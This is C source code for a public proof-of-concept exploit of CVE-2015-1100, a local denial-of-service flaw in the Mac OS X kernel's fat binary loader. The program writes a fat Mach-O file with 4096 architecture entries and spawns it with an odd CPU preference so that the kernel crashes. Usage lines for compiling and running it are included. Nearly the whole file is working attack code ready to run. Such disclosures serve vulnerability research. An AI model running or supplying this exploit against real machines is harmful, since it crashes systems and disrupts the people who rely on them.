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/* * 2015, Maxime Villard, CVE-2015-1100 * Local DoS caused by a missing limit check in the fat loader of the Mac OS X * Kernel. * *$ gcc -o Mac-OS-X_Fat-DoS Mac-OS-X_Fat-DoS.c *$ ./Mac-OS-X_Fat-DoS BINARY-NAME * * Obtained from: http://m00nbsd.net/garbage/Mac-OS-X_Fat-DoS.c * Analysis:http://m00nbsd.net/garbage/Mac-OS-X_Fat-DoS.txt */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <spawn.h> #include <unistd.h> #include <err.h> #include <mach-o/fat.h> #include <sys/stat.h> #define MAXNUM (4096) #define MAXNUM0 (OSSwapBigToHostInt32(MAXNUM)) void CraftBinary(char *name) { struct fat_header fat_header; struct fat_arch *arches; size_t i; int fd; memset(&fat_header, 0, sizeof(fat_header)); fat_header.magic = FAT_MAGIC; fat_header.nfat_arch = 4096; if ((arches = calloc(MAXNUM0, sizeof(struct fat_arch))) == NULL) err(-1, "calloc"); for (i = 0; i < MAXNUM0; i++) arches[i].cputype = CPU_TYPE_I386; if ((fd = open(name, O_CREAT|O_RDWR)) == -1) err(-1, "open"); if (write(fd, &fat_header, sizeof(fat_header)) == -1) err(-1, "write"); if (write(fd, arches, sizeof(struct fat_arch) * MAXNUM0) == -1) err(-1, "write"); if (fchmod(fd, S_IXUSR) == -1) err(-1, "fchmod"); close(fd); free(arches); } void SpawnBinary(char *name) { cpu_type_t cpus[] = { CPU_TYPE_HPPA, 0 }; char *argv[] = { "Crazy Horse", NULL }; char *envp[] = { NULL }; posix_spawnattr_t attr; size_t set = 0; int ret; if (posix_spawnattr_init(&attr) == -1) err(-1, "posix_spawnattr_init"); if (posix_spawnattr_setbinpref_np(&attr, 2, cpus, &set) == -1) err(-1, "posix_spawnattr_setbinpref_np"); fprintf(stderr, "----------- Goodbye! -----------\n"); ret = posix_spawn(NULL, name, NULL, &attr, argv, envp); fprintf(stderr, "Hum, still alive. You are lucky today! ret = %d\n", ret); } int main(int argc, char *argv[]) { if (argc != 2) { printf("Usage: %s BINARY-NAME\n", argv[0]); } else { CraftBinary(argv[1]); SpawnBinary(argv[1]); } } |
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